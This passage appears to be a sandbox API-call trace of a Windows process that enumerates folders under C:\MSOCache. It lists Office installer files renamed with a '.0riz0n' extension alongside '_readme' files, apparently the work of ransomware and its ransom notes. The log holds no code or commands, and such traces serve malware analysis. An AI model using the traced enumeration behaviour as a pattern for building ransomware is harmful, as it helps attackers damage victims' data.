ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0139.622] GetLastError () returned 0x12 [0139.622] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0139.622] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x38dad210, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x38dad210, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.622] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.622] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x38dad210, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x38dad210, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.664] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0139.664] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0139.665] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.665] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0139.665] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.665] NtClose (Handle=0x194) returned 0x0 [0139.665] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.665] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.665] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.665] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0139.665] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.665] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0139.665] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x81fcd8 [0139.666] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x38dad210, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x38dad210, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.667] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0139.667] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.667] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.667] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38a1b110, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x38a1b110, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.667] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.667] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.667] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.667] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.667] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0139.667] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.667] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.667] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38d60f50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x38d60f50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.667] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.667] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.667] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.667] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.667] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0139.667] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.667] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.667] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38d870b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x38d870b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.668] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.668] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.668] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.668] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.668] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0139.668] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.668] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.668] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38dad210, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x38dad210, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.668] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.668] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.668] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.668] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.668] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38dad210, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x38dad210, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0139.668] GetLastError () returned 0x12 [0139.668] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x8390a0 [0139.668] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.668] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x38dad210, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x38dad210, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.669] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0139.669] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38a1b110, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x38a1b110, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.669] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0139.669] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38d60f50, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x38d60f50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.669] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0139.669] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38d870b0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x38d870b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.669] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0139.669] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38dad210, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x38dad210, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.669] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38dad210, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x38dad210, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0139.669] GetLastError () returned 0x12 [0139.669] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0139.669] FindClose (in: hFindFile=0x8390a0 | out: hFindFile=0x8390a0) returned 1 [0139.670] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.670] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0139.670] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3c0b49b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3c0b49b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0139.670] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.670] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3c0b49b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3c0b49b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.713] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0139.713] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0139.713] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.713] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0139.713] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.713] NtClose (Handle=0x198) returned 0x0 [0139.713] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.713] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.713] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0139.713] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0139.713] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.713] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0139.713] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x81fcd8 [0139.751] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3c0b49b0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3c0b49b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.751] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0139.751] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.751] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.751] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39080c30, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x39080c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0139.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0139.752] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.0riz0n", 